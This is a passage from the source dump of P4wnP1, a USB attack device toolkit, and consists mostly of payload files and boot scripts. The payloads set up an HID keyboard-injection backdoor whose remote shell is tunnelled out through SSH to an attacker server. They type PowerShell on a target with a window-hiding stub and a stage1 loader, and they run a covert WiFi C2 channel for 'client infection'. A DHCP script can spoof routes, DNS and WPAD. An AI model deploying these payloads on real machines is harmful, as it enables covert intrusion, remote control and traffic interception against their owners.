def DO_UPDATEDELAYED(self, argv): 209 | #print "UPDATEDELAYED method {0}".format(argv) 210 | self.DO_UPDATE(argv) 211 | self.DO_DELAY(argv) 212 | 213 | def executeScript(self, script): 214 | if len(script) > 0: 215 | commands = [] 216 | for l in script: 217 | extracted = self.extract_command(l) 218 | if extracted: 219 | commands.append(extracted) 220 | 221 | for command in commands: 222 | cmd, argv = command 223 | self.dispatch_command(cmd, argv) 224 | 225 | def main(args): 226 | p = MouseScriptParser() 227 | 228 | source = [] 229 | for line in sys.stdin: 230 | source.append(line) 231 | 232 | p.executeScript(source) 233 | 234 | 235 | if __name__ == "__main__": 236 | main(sys.argv[1:]) 237 | 238 | -------------------------------------------------------------------------------- /payloads/hid_backdoor_remote.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 HID backdoor - REMOTE version 21 | # ==================================== 22 | # 23 | # This Proof of Concept (PoC) shows how to run keyboard commands or bring up a full fledged 24 | # remote shell on a Windows target. It differs from the "normal" HID backdoor payload 25 | # because it is able to relay the backdoor through a remote SSH server and thus allows 26 | # accessing it from the Internet, for example. 27 | # 28 | # Usage, other than decribed in the DISCLAIMER file, isn't allowed. 29 | # 30 | # Requirements / Script setup 31 | # --------------------------- 32 | # - A WiFi network with known passphrase has to be present (WPA2), in order to serve as 33 | # Network/Internet upstream 34 | # - The name of the upstream WiFi (ESSID) has to be stored in the option WIFI_CLIENT_SSID 35 | # - The passphrase of the target WiFi has to be stored in the option WIFI_CLIENT_PSK 36 | # 37 | # - The pentester using this needs to provide an SSH server which receives the SSH 38 | # connection from P4wnP1. The hostname or IP address of the server has to be stored in 39 | # the option AUTOSSH_REMOTE_HOST 40 | # - The SSH server has to allow access for the user defined by option AUTOSSH_REMOTE_USER 41 | # - The SSH server has to allow access for this user based on the public key referenced 42 | # by the option AUTOSSH_PUBLIC_KEY (has to be present in `~/ssh/authorized_keys` file 43 | # of the repective user). 44 | # The SSH keypair is generated during P4wnP1 install, but could be regenerated using 45 | # `P4wnP1_working_dir/ssh/genkeys.sh` 46 | # If publishing the public key to the SSH server owned by the pentester shouldn't be 47 | # done manually, the following script supports this task: 48 | # `P4wnP1_working_dir/ssh/pushkey.sh` 49 | # - the SSH server needs to grand privileges for opening unprivileged remote ports on localhost 50 | # (default in most setups, AUTOSSH_REMOTE_PORT should be set to an unprivileged and unused port) 51 | # 52 | # 53 | # (Short) description of inner workings 54 | # ------------------------------------- 55 | # - This PoC uses the abilities of the HID_backdoor payload. This means keystrokes could be send 56 | # to a target host interactively from a shell available on P4wnP1 via SSH, as soon as P4wnP1 is 57 | # connected. On Windows targets this could be used to type out a userland "driver", allowing to 58 | # bring up a covert communication channel USING ONLY A GENERIC HID DEVICE, which again allows to 59 | # run remote shells (reference video: https://www.youtube.com/watch?v=Pft7voW5ui8). 60 | # - As stated, the interactive shell is reachable over P4wnP1's internal SSH server 61 | # (bound to a screen session internally). Internal SSH access is provided by spawning a WiFi 62 | # Access Point. One of the newer additions to P4wnP1 is the capability to join WPA2 based WiFi 63 | # networks and thus gain Internet access (if provided by the WiFi). 64 | # This again is combined with the latest addition of AutoSSH, in order to allow tunneling out 65 | # P4wnP1's internal SSH server through an outbound SSH session. 66 | # - This means, if both (WiFi connection with internet access and access to the remote SSH server) 67 | # succeed, P4wnP1's HID shell is reachable through this external SSH server. 68 | # - The interactive P4wnP1 HID backdoor shell could now be accessed from the external SSH server 69 | # with `ssh -p 8765 pi@localhost` from a whole different remote device. (8765 has to be replaced 70 | # by the value set in AUTOSSH_REMOTE_PORT) 71 | # 72 | # 73 | # Remark: 74 | # If the SSH outbound connection fails, but joining the upstream WiFi succeeds, you won't 75 | # you could access P4wnP1 only from the upstream WiFi (as the target sees only HID devices). 76 | # In order to force P4wnP1 to open an AccessPoint again, disabling the upstream WiFi forces 77 | # failover to Access Point mode, using the settings provided in this PoC payload. 78 | 79 | # Setup WiFi client mode (used for Upstream connection of SSH reachback) 80 | # ---------------------------------------------------------------------- 81 | WIFI_CLIENT=true 82 | WIFI_CLIENT_SSID="ESSID-of-upstream-WLAN" # name of target network 83 | WIFI_CLIENT_PSK="passphrase of upstream wlan" # passphrase for target network 84 | 85 | WIFI_REG=US # WiFi regulatory domain (if not set accordingly, WiFi could be missing and client connection fail) 86 | 87 | # Setup WiFi access point (used as failover in case the target WiFi WIFI_CLIENT_SSID isn't present) 88 | # ------------------------------------------------------------------------------------------------ 89 | WIFI_ACCESSPOINT=true 90 | WIFI_ACCESSPOINT_NAME="P4wnP1" 91 | WIFI_ACCESSPOINT_PSK="MaMe82-P4wnP1" 92 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1 93 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0" 94 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range 95 | WIFI_ACCESSPOINT_HIDE_SSID=false # don't hide ESSID 96 | 97 | BLUETOOTH_NAP=true # enable bluetooth NAP, P4wnP1 will be rechable via BT on IP configured in setup.cfg (BLUETOOTH_NAP_IP) 98 | 99 | 100 | 101 | # Setup for the upstream SSH server 102 | # --------------------------------- 103 | 104 | AUTOSSH_ENABLED=true # enable AutoSSH 105 | AUTOSSH_REMOTE_HOST=your-ssh-server.com 106 | AUTOSSH_REMOTE_USER=root 107 | AUTOSSH_PRIVATE_KEY="$wdir/ssh/keys/P4wnP1_id" 108 | AUTOSSH_PUBLIC_KEY="$wdir/ssh/keys/P4wnP1_id.pub" # $wdir/ssh/pushkey.sh helps to publish this key 109 | AUTOSSH_REMOTE_PORT=8765 110 | 111 | 112 | 113 | # Basic device setup 114 | # ------------------ 115 | 116 | USB_VID="0x1D6B" # Vendor ID 117 | USB_PID="0x0437" # Product ID 118 | 119 | USE_ECM=false # if true CDC ECM will be enabled 120 | USE_RNDIS=false # if true RNDIS will be enabled 121 | USE_HID=true # if true HID (keyboard) will be enabled 122 | USE_RAWHID=true # if true HID raw device will be enabled 123 | USE_UMS=false # if true USB Mass Storage will be enabled 124 | 125 | # disable setting of static routes for all IPv4 addresses 126 | ROUTE_SPOOF=false 127 | 128 | # use LED based HID keyboard test 129 | USE_HID_TEST=true 130 | 131 | # overwrite keyboard language from setup.cfg 132 | # Note: The HID backdoor server uses an own language setting, which isn't influenced 133 | # by this option. 134 | # The HID backdoor keyboard language could be changed in 135 | # $wdir/hidtools/backdoor/config.txt 136 | # or using the `SetKeyboardLanguage` command at runtime 137 | lang="us" 138 | 139 | function onKeyboardUp() 140 | { 141 | 142 | 143 | # start HID Server 144 | screen -dmS hidsrv bash -c "cd $wdir/hidtools/backdoor; python P4wnP1.py" 145 | 146 | # blink two times when hid keyboard is usable and HID server is started 147 | led_blink 2 148 | } 149 | 150 | 151 | # commands in this function are ran on user login 152 | # the commans are ran by user "pi" 153 | function onLogin() 154 | { 155 | led_blink 3 156 | # try to attach the screen running the Server to this login session 157 | sudo screen -d -r 158 | return 159 | } 160 | -------------------------------------------------------------------------------- /boot/init_usb_ethernet.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | 22 | # 23 | # Functions to init USB ethernet 24 | # - detect correct interface (ECM / RNDIS) --> exportet to $active_interface 25 | # - create dnsmasq DHCP configuration for interface 26 | 27 | 28 | 29 | # ================================= 30 | # Network init 31 | # ================================= 32 | function detect_active_interface() 33 | { 34 | 35 | 36 | # Waiting for one of the interfaces to get a link (either RNDIS or ECM) 37 | # loop count is limited by $RETRY_COUNT_LINK_DETECTION, to continue execution if this is used 38 | # as blocking boot script 39 | # note: if the loop count is too low, windows may not have enough time to install drivers 40 | 41 | # ToDo: check if operstate could be used for this, without waiting for carrieer 42 | active_interface="none" 43 | 44 | # if RNDIS and ECM are active check which gets link first 45 | # Note: Detection for RNDIS (usb0) is done first. In case it is active, link availability 46 | # for ECM (usb1) is checked anyway (in case both interfaces got link). This is done 47 | # to use ECM as prefered interface on MacOS and Linux if both, RNDIS and ECM, are supported. 48 | if $USE_RNDIS && $USE_ECM; then 49 | # bring up both interfaces to check for physical link 50 | ifconfig usb0 up 51 | ifconfig usb1 up 52 | 53 | echo "CDC ECM and RNDIS active. Check which interface has to be used via Link detection" 54 | while [ "$active_interface" == "none" ]; do 55 | #while [[ $count -lt $RETRY_COUNT_LINK_DETECTION ]]; do 56 | printf "." 57 | 58 | if [[ $( /dev/null && onNetworkUp 122 | # 123 | # # wait for client to receive DHCP lease 124 | # target_ip="" 125 | # while [ "$target_ip" == "" ]; do 126 | # target_ip=$(cat /tmp/dnsmasq.leases | cut -d" " -f3) 127 | # done 128 | # 129 | # # call onNetworkUp() from payload 130 | # declare -f onTargetGotIP > /dev/null && onTargetGotIP 131 | # fi 132 | 133 | } 134 | 135 | function create_DHCP_config() 136 | { 137 | # create DHCP config file for dnsmasq 138 | echo "P4wnP1: Creating DHCP configuration for Ethernet over USB..." 139 | 140 | cat <<- EOF > /tmp/dnsmasq_usb_eth.conf 141 | bind-interfaces 142 | port=0 143 | interface=$active_interface 144 | listen-address=$IF_IP 145 | dhcp-range=$IF_DHCP_RANGE,$IF_MASK,5m 146 | 147 | EOF 148 | 149 | if $ROUTE_SPOOF; then 150 | cat <<- EOF >> /tmp/dnsmasq_usb_eth.conf 151 | # router 152 | dhcp-option=3,$IF_IP 153 | 154 | # DNS 155 | dhcp-option=6,$IF_IP 156 | 157 | # NETBIOS NS 158 | dhcp-option=44,$IF_IP 159 | dhcp-option=45,$IF_IP 160 | 161 | # routes static (route 0.0.0.1 to 127.255.255.254 through our device) 162 | dhcp-option=121,0.0.0.0/1,$IF_IP,128.0.0.0/1,$IF_IP 163 | # routes static (route 128.0.0.1 to 255.255.255.254 through our device) 164 | dhcp-option=249,0.0.0.0/1,$IF_IP,128.0.0.0/1,$IF_IP 165 | EOF 166 | else 167 | cat <<- EOF >> /tmp/dnsmasq_usb_eth.conf 168 | # router disable DHCP gateway announcment 169 | dhcp-option=3 170 | 171 | # disable DNS settings 172 | dhcp-option=6 173 | EOF 174 | fi 175 | 176 | if $WPAD_ENTRY; then 177 | cat <<- EOF >> /tmp/dnsmasq_usb_eth.conf 178 | dhcp-option=252,http://$IF_IP/wpad.dat 179 | EOF 180 | fi 181 | 182 | cat <<- EOF >> /tmp/dnsmasq_usb_eth.conf 183 | dhcp-leasefile=/tmp/dnsmasq.leases 184 | dhcp-authoritative 185 | log-dhcp 186 | EOF 187 | 188 | } 189 | 190 | function start_DHCP_server() 191 | { 192 | 193 | # recreate DHCP config 194 | if $ROUTE_SPOOF; then 195 | # DHCP config with static route spoofing 196 | cat <<- EOF > $wdir/dnsmasq.conf 197 | port=0 198 | listen-address=$IF_IP 199 | dhcp-range=$IF_DHCP_RANGE,$IF_MASK,5m 200 | dhcp-option=252,http://$IF_IP/wpad.dat 201 | 202 | # router 203 | dhcp-option=3,$IF_IP 204 | 205 | # DNS 206 | dhcp-option=6,$IF_IP 207 | 208 | # NETBIOS NS 209 | dhcp-option=44,$IF_IP 210 | dhcp-option=45,$IF_IP 211 | 212 | # routes static (route 0.0.0.1 to 127.255.255.254 through our device) 213 | dhcp-option=121,0.0.0.0/1,$IF_IP,128.0.0.0/1,$IF_IP 214 | # routes static (route 128.0.0.1 to 255.255.255.254 through our device) 215 | dhcp-option=249,0.0.0.0/1,$IF_IP,128.0.0.0/1,$IF_IP 216 | 217 | dhcp-leasefile=/tmp/dnsmasq.leases 218 | dhcp-authoritative 219 | log-dhcp 220 | EOF 221 | else 222 | # DHCP config without static route spoofing 223 | cat <<- EOF > $wdir/dnsmasq.conf 224 | port=0 225 | listen-address=$IF_IP 226 | dhcp-range=$IF_DHCP_RANGE,$IF_MASK,5m 227 | dhcp-option=252,http://$IF_IP/wpad.dat 228 | 229 | # router 230 | dhcp-option=3,$IF_IP 231 | 232 | # DNS 233 | dhcp-option=6,$IF_IP 234 | 235 | # NETBIOS NS 236 | dhcp-option=44,$IF_IP 237 | dhcp-option=45,$IF_IP 238 | 239 | dhcp-leasefile=/tmp/dnsmasq.leases 240 | dhcp-authoritative 241 | log-dhcp 242 | EOF 243 | fi; 244 | 245 | 246 | # start access point if needed 247 | if $WIFI && $ACCESS_POINT; then 248 | # start ACCESS POINT 249 | hostapd $wdir/wifi/hostapd.conf > /dev/null & 250 | # configure interface 251 | ifconfig wlan0 172.24.0.1 netmask 255.255.255.252 252 | # start DHCP server for WLAN interface and RNDIS/CDC ECM 253 | dnsmasq -C $wdir/dnsmasq.conf -C $wdir/wifi/dnsmasq_wifi.conf 254 | else 255 | 256 | # start DHCP server (listening on IF_IP) 257 | dnsmasq -C $wdir/dnsmasq.conf 258 | fi 259 | } 260 | -------------------------------------------------------------------------------- /payloads/wifi_covert_channel/hid_only_delivery32.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2018, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 WiFi covert channel !! EXPERIMENTAL !! 21 | # ============================================= 22 | # 23 | # For additional notes see comments in code ... no time to document, right now ... sorry!! 24 | # 25 | # 26 | # Usage: 27 | # 28 | # 1) Client infection 29 | # - be sure to have the `lang` option in this payload set according to the clients keyboard layout (default us) 30 | # - attach P4wnP1 to clients, wait till LED blinks twice (target is ready to receive keyboard input) 31 | # - press NUMLOCK on target about 5-times (fast) 32 | # - P4wnP1 starts typing out the payload, if `HIDE_AGENT_WINDOW` is enabled, the console window gets hidden 33 | # - During typing the LED stops blinking, wait till the LED blinks again (P4wnP1 is still typing out the payload 34 | # even if the window is hidden) 35 | # - When the LED blinks again, the client payload should be running and P4wnP1 could be removed 36 | # - THE CLIENT NEEDS A WIFI ENABLED INTERFACE FOR THE CHANNEL TO WORK. BUT, THERE'S NO NEED TO HAVE THE CLIENT CONNECTED 37 | # TO ANY WIFI (that's what this is all about) 38 | # 39 | # 2) Bring up C2 Server 40 | # - Attach P4wnP1 to another host OR POWER SOURCE (there's no host needed, as C2 server is accessed via WiFi) 41 | # - P4wnP1 spawns a WiFi hotspot with name and password set according to the options in this payload 42 | # - connect to the network and login to P4wnP1 with user `pi` and your password 43 | # - on login the C2 serve is attached to the SSH session 44 | # - issue `sessions` to list currently connected clients 45 | # - use `interact ` to spawn a shell (comms are slow on this channel, so be patient) 46 | # - press [CTRL + C] during interaction to bring up a menu for the session 47 | # 48 | # Additional notes: 49 | 50 | # - the target is still able to connect to WiFi networks and use them, but the payload impacts throughput of valid 51 | # communications as scans are issued rapidly 52 | # - the cleint agent is tested against Win 7 64 / Win 10 64 with Intel WiFi adapters, but still considered 53 | # experimental (no support) 54 | # - If HIDE_AGENT_WINDOW=false is set, the client agent console is kept visible and displays debug output (the curently 55 | # shipped payload is a DEBUG build) 56 | # - the payload requires latest P4wnP1 installation (modifications to WiFi kernel modules and driver stack) to 57 | # work and should run on kernel 4.9.78+ 58 | # 59 | # Client agent code: 60 | # https://github.com/mame82/P4wnP1_WiFi_covert_channel_client/blob/master/NWiFi/Agent.cs 61 | # C2 server code: 62 | # https://github.com/mame82/P4wnP1_nexmon_additions/blob/master/wifi_server.py 63 | # WiFi driver + firmware mod: 64 | # not yet published, compiled version in latest P4wnP1_nexmon_additions 65 | # Firmware interaction layer: 66 | # https://github.com/mame82/P4wnP1_nexmon_additions/blob/master/mame82_util.py 67 | # More detailed descrition: 68 | # https://github.com/mame82/P4wnP1_WiFi_covert_channel_client/blob/master/README.md 69 | # Video demo: 70 | # https://www.youtube.com/watch?v=fbUBQeD0JtA 71 | 72 | HIDE_AGENT_WINDOW=true # if true, a powershell stub gets added, which hides the target window during keystroke injection 73 | 74 | 75 | # overwrite keyboard language from setup.cfg 76 | lang="us" 77 | 78 | 79 | 80 | # ============================= 81 | # USB setup 82 | # ============================= 83 | # Make sure to change USB_PID if you enable different USB functionality in order 84 | # to force Windows to enumerate the device again 85 | USB_VID="0x1d6b" # Vendor ID 86 | USB_PID="0x4137" # Product ID 87 | 88 | USE_ECM=false # if true CDC ECM will be enabled 89 | USE_RNDIS=false # if true RNDIS will be enabled 90 | USE_HID=true # if true HID (keyboard) will be enabled 91 | USE_RAWHID=true # if true HID raw device will be enabled 92 | USE_UMS=false # if true USB Mass Storage will be enabled 93 | 94 | # disable setting of static routes for all IPv4 addresses 95 | ROUTE_SPOOF=false 96 | 97 | # use LED based HID keyboard test 98 | USE_HID_TEST=true 99 | 100 | # WIFI config 101 | WIFI_NEXMON=true # use modified nexmon firmware (patched for covert channel) 102 | WIFI_NEXMON_BRING_UP_MONITOR_FIRST=true # we force monitor interface creation before starting hostapd 103 | 104 | WIFI_REG=US 105 | WIFI_ACCESSPOINT=true 106 | WIFI_ACCESSPOINT_CHANNEL=6 107 | WIFI_ACCESSPOINT_NAME="P4wnP1" 108 | WIFI_ACCESSPOINT_PSK="MaMe82-P4wnP1" 109 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1 110 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0" 111 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range 112 | WIFI_ACCESSPOINT_HIDE_SSID=false # don't hide ESSID 113 | 114 | BLUETOOTH_NAP=true # enable bluetooth NAP, P4wnP1 will be rechable via IP configured in setup.cfg (BLUETOOTH_NAP_IP) 115 | 116 | 117 | # blink one time when payload script get's initiated 118 | led_blink 1 # usage at thi point is invalid, as the script gets called again on SSH login 119 | 120 | function onKeyboardUp() 121 | { 122 | 123 | # start HID payload delivery server 124 | screen -dmS hidsrv bash -c "cd $wdir/hidtools/payload_delivery; python hidserver.py" 125 | 126 | # blink two times when hid keyboard is usable and HID server is started 127 | led_blink 2 128 | 129 | # as soon as NUMLOCK is pressed rapidly we start the 32 bit PowerShell (needed for payload) 130 | while $true; do 131 | # wait for keyboard LED trigger 132 | key_trigger 133 | 134 | led_blink 0 # turn led of while typing 135 | 136 | # run interactive PowerShell console 137 | cat <<- EOF | duckhid 138 | GUI r 139 | DELAY 500 140 | STRING powershell.exe 141 | ENTER 142 | DELAY 1000 143 | EOF 144 | 145 | if $HIDE_AGENT_WINDOW; then 146 | # output window hider stub (taken from P4wnP1 hid cover channel --> fast hiding with a short line, invisible window keeps input fokus) 147 | # hint: echo instead of printf introduces a new_line_char, which gets interpreted as pressing return by `outhid` 148 | echo '$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)' | outhid 149 | fi 150 | 151 | # output stage1 command (loads stage2 via raw HID) 152 | (printf "\$USB_VID='1D6B';\$USB_PID='4137';"; cat $wdir/hidtools/payload_delivery/stage1_mini.ps1) | outhid 153 | 154 | led_blink 2 # turn led back on, to indicate typing finished 155 | 156 | done 157 | 158 | } 159 | 160 | 161 | # commands in this function are ran on user login 162 | # the commans are ran by user "pi" 163 | function onLogin() 164 | { 165 | # check if server is running (if the server crashed it could be restarted with new ssh login) 166 | if [ $(ps -aux | grep -v -e grep | grep wifi_server.py | wc -l) -gt 0 ]; then 167 | echo "Attaching to WiFi covert channel server's screen session ..." 168 | else 169 | echo "Starting covert channel server" 170 | sudo screen -dmS wifi_c2 bash -c "cd $wdir/nexmon; python wifi_server.py" 171 | fi 172 | 173 | # attach to covert channel control server 174 | sudo screen -d -r wifi_c2 175 | return 176 | } 177 | -------------------------------------------------------------------------------- /payloads/wifi_covert_channel/hid_only_delivery64.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2018, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 WiFi covert channel !! EXPERIMENTAL !! 21 | # ============================================= 22 | # 23 | # For additional notes see comments in code ... no time to document, right now ... sorry!! 24 | # 25 | # 26 | # Usage: 27 | # 28 | # 1) Client infection 29 | # - be sure to have the `lang` option in this payload set according to the clients keyboard layout (default us) 30 | # - attach P4wnP1 to clients, wait till LED blinks twice (target is ready to receive keyboard input) 31 | # - press NUMLOCK on target about 5-times (fast) 32 | # - P4wnP1 starts typing out the payload, if `HIDE_AGENT_WINDOW` is enabled, the console window gets hidden 33 | # - During typing the LED stops blinking, wait till the LED blinks again (P4wnP1 is still typing out the payload 34 | # even if the window is hidden) 35 | # - When the LED blinks again, the client payload should be running and P4wnP1 could be removed 36 | # - THE CLIENT NEEDS A WIFI ENABLED INTERFACE FOR THE CHANNEL TO WORK. BUT, THERE'S NO NEED TO HAVE THE CLIENT CONNECTED 37 | # TO ANY WIFI (that's what this is all about) 38 | # 39 | # 2) Bring up C2 Server 40 | # - Attach P4wnP1 to another host OR POWER SOURCE (there's no host needed, as C2 server is accessed via WiFi) 41 | # - P4wnP1 spawns a WiFi hotspot with name and password set according to the options in this payload 42 | # - connect to the network and login to P4wnP1 with user `pi` and your password 43 | # - on login the C2 serve is attached to the SSH session 44 | # - issue `sessions` to list currently connected clients 45 | # - use `interact ` to spawn a shell (comms are slow on this channel, so be patient) 46 | # - press [CTRL + C] during interaction to bring up a menu for the session 47 | # 48 | # Additional notes: 49 | 50 | # - the target is still able to connect to WiFi networks and use them, but the payload impacts throughput of valid 51 | # communications as scans are issued rapidly 52 | # - the cleint agent is tested against Win 7 64 / Win 10 64 with Intel WiFi adapters, but still considered 53 | # experimental (no support) 54 | # - If HIDE_AGENT_WINDOW=false is set, the client agent console is kept visible and displays debug output (the curently 55 | # shipped payload is a DEBUG build) 56 | # - the payload requires latest P4wnP1 installation (modifications to WiFi kernel modules and driver stack) to 57 | # work and should run on kernel 4.9.78+ 58 | # 59 | # Client agent code: 60 | # https://github.com/mame82/P4wnP1_WiFi_covert_channel_client/blob/master/NWiFi/Agent.cs 61 | # C2 server code: 62 | # https://github.com/mame82/P4wnP1_nexmon_additions/blob/master/wifi_server.py 63 | # WiFi driver + firmware mod: 64 | # not yet published, compiled version in latest P4wnP1_nexmon_additions 65 | # Firmware interaction layer: 66 | # https://github.com/mame82/P4wnP1_nexmon_additions/blob/master/mame82_util.py 67 | # More detailed descrition: 68 | # https://github.com/mame82/P4wnP1_WiFi_covert_channel_client/blob/master/README.md 69 | # Video demo: 70 | # https://www.youtube.com/watch?v=fbUBQeD0JtA 71 | 72 | HIDE_AGENT_WINDOW=true # if true, a powershell stub gets added, which hides the target window during keystroke injection 73 | 74 | 75 | # overwrite keyboard language from setup.cfg 76 | lang="us" 77 | 78 | 79 | 80 | # ============================= 81 | # USB setup 82 | # ============================= 83 | # Make sure to change USB_PID if you enable different USB functionality in order 84 | # to force Windows to enumerate the device again 85 | USB_VID="0x1d6b" # Vendor ID 86 | USB_PID="0x4137" # Product ID 87 | 88 | USE_ECM=false # if true CDC ECM will be enabled 89 | USE_RNDIS=false # if true RNDIS will be enabled 90 | USE_HID=true # if true HID (keyboard) will be enabled 91 | USE_RAWHID=true # if true HID raw device will be enabled 92 | USE_UMS=false # if true USB Mass Storage will be enabled 93 | 94 | # disable setting of static routes for all IPv4 addresses 95 | ROUTE_SPOOF=false 96 | 97 | # use LED based HID keyboard test 98 | USE_HID_TEST=true 99 | 100 | # WIFI config 101 | WIFI_NEXMON=true # use modified nexmon firmware (patched for covert channel) 102 | WIFI_NEXMON_BRING_UP_MONITOR_FIRST=true # we force monitor interface creation before starting hostapd 103 | 104 | WIFI_REG=US 105 | WIFI_ACCESSPOINT=true 106 | WIFI_ACCESSPOINT_CHANNEL=6 107 | WIFI_ACCESSPOINT_NAME="P4wnP1" 108 | WIFI_ACCESSPOINT_PSK="MaMe82-P4wnP1" 109 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1 110 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0" 111 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range 112 | WIFI_ACCESSPOINT_HIDE_SSID=false # don't hide ESSID 113 | 114 | BLUETOOTH_NAP=true # enable bluetooth NAP, P4wnP1 will be rechable via IP configured in setup.cfg (BLUETOOTH_NAP_IP) 115 | 116 | 117 | # blink one time when payload script get's initiated 118 | led_blink 1 # usage at thi point is invalid, as the script gets called again on SSH login 119 | 120 | function onKeyboardUp() 121 | { 122 | 123 | # start HID payload delivery server 124 | screen -dmS hidsrv bash -c "cd $wdir/hidtools/payload_delivery; python hidserver.py" 125 | 126 | # blink two times when hid keyboard is usable and HID server is started 127 | led_blink 2 128 | 129 | # as soon as NUMLOCK is pressed rapidly we start the 32 bit PowerShell (needed for payload) 130 | while $true; do 131 | # wait for keyboard LED trigger 132 | key_trigger 133 | 134 | led_blink 0 # turn led of while typing 135 | 136 | # run interactive PowerShell console 137 | cat <<- EOF | duckhid 138 | GUI r 139 | DELAY 500 140 | STRING %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 141 | ENTER 142 | DELAY 1000 143 | EOF 144 | 145 | if $HIDE_AGENT_WINDOW; then 146 | # output window hider stub (taken from P4wnP1 hid cover channel --> fast hiding with a short line, invisible window keeps input fokus) 147 | # hint: echo instead of printf introduces a new_line_char, which gets interpreted as pressing return by `outhid` 148 | echo '$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)' | outhid 149 | fi 150 | 151 | # output stage1 command (loads stage2 via raw HID) 152 | (printf "\$USB_VID='1D6B';\$USB_PID='4137';"; cat $wdir/hidtools/payload_delivery/stage1_mini.ps1) | outhid 153 | 154 | led_blink 2 # turn led back on, to indicate typing finished 155 | 156 | done 157 | 158 | } 159 | 160 | 161 | # commands in this function are ran on user login 162 | # the commans are ran by user "pi" 163 | function onLogin() 164 | { 165 | # check if server is running (if the server crashed it could be restarted with new ssh login) 166 | if [ $(ps -aux | grep -v -e grep | grep wifi_server.py | wc -l) -gt 0 ]; then 167 | echo "Attaching to WiFi covert channel server's screen session ..." 168 | else 169 | echo "Starting covert channel server" 170 | sudo screen -dmS wifi_c2 bash -c "cd $wdir/nexmon; python wifi_server.py" 171 | fi 172 | 173 | # attach to covert channel control server 174 | sudo screen -d -r wifi_c2 175 | return 176 | } 177 | -------------------------------------------------------------------------------- /payloads/wifi_covert_channel/hid_only_delivery64_bt_only.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2018, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 WiFi covert channel !! EXPERIMENTAL !! 21 | # ============================================= 22 | # 23 | # For additional notes see comments in code ... no time to document, right now ... sorry!! 24 | # 25 | # 26 | # Usage: 27 | # 28 | # 1) Client infection 29 | # - be sure to have the `lang` option in this payload set according to the clients 